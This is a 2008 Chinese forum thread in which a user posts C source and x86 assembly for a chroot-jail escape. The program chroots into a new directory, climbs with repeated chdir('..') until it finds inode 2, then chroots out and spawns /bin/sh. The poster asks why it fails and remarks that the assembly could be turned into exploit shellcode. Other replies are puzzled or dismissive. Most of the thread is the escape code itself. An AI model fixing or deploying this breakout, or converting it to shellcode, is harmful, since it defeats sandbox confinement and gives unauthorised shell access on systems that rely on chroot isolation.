让我失望的程序，我该怎么修改？

c_acceleration

#include "string.h" #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> int    main() {     int    i;     struct stat sb;     mkdir("A", 0755);     chroot("A");     for(i = 0; i < 1024; i ++){         puts("HERE");         memset(&sb, 0, sizeof(sb));         chdir("..");         stat(".", &sb);            if(sb.st_ino == 2){             chroot(".");             system("/bin/sh");             exit(0);         }     }     puts("failure");     return 0; }

让我失望了chroot jail....
man 2 stat查相关stat.

.globl main     .type    main, @function main:     leal    4(%esp), %ecx     andl    $-16, %esp     pushl    -4(%ecx)     pushl    %ebp     movl    %esp, %ebp     pushl    %ecx     subl    $116, %esp     movl    $493, 4(%esp)     movl    $.LC0, (%esp)     call    mkdir     movl    $.LC0, (%esp)     call    chroot     movl    $0, -8(%ebp)     jmp    .L2 .L3:     movl    $.LC1, (%esp)     call    puts     movl    $88, 8(%esp)     movl    $0, 4(%esp)     leal    -96(%ebp), %eax     movl    %eax, (%esp)     call    memset     movl    $.LC2, (%esp)     call    chdir     leal    -96(%ebp), %eax     movl    %eax, 4(%esp)     movl    $.LC3, (%esp)     call    stat     movl    -84(%ebp), %eax     cmpl    $2, %eax     jne    .L4     movl    $.LC3, (%esp)     call    chroot     movl    $.LC4, (%esp)     call    system     movl    $0, (%esp)     call    exit .L4:     addl    $1, -8(%ebp) .L2:     cmpl    $1023, -8(%ebp)     jle    .L3     movl    $.LC5, (%esp)     call    puts     movl    $0, %eax     addl    $116, %esp     popl    %ecx     popl    %ebp     leal    -4(%ecx), %esp     ret

对了，如果把汇编转化为字节码，就可以exploit使用了

[ 本帖最后由 c_acceleration 于 2008-5-11 23:37 编辑 ]

cjaizss

看了你的程序，没看懂你想干什么

tianjiao85

也看不懂

c_acceleration

http://blog.csdn.net/zhoujunyi/archive/2007/04/14/1564607.aspx
看这篇文章，就知道了

cjaizss

你都已经chroot到A目录了，还能chroot回去？

c_acceleration

我就是想摆脱chroot jail限制。首先在chroot jail内创建一个目录，接着chroot到该目录上。然后迭代转换到目录"../"下，循环1024次。在每一次迭代都在当前目录执行stat(),如果该目录由inode 2就再chroot到./一次，然后执行shell

c_acceleration

对了，有人有gtk的类似终端的窗口模板么？我没学过gtk,核心的程序代码写好，我想要个图形界面

flw

楼主该不会又是来灌水、逗大家玩的吧？

c_acceleration

原帖由 flw 于 2008-5-12 11:13 发表
楼主该不会又是来灌水、逗大家玩的吧？

干吗用又，还加亮，没那么无聊。。。
说真的，该怎么突破呢，这个程序怎么实现不了？

doctorjxd

楼主在藐视chroot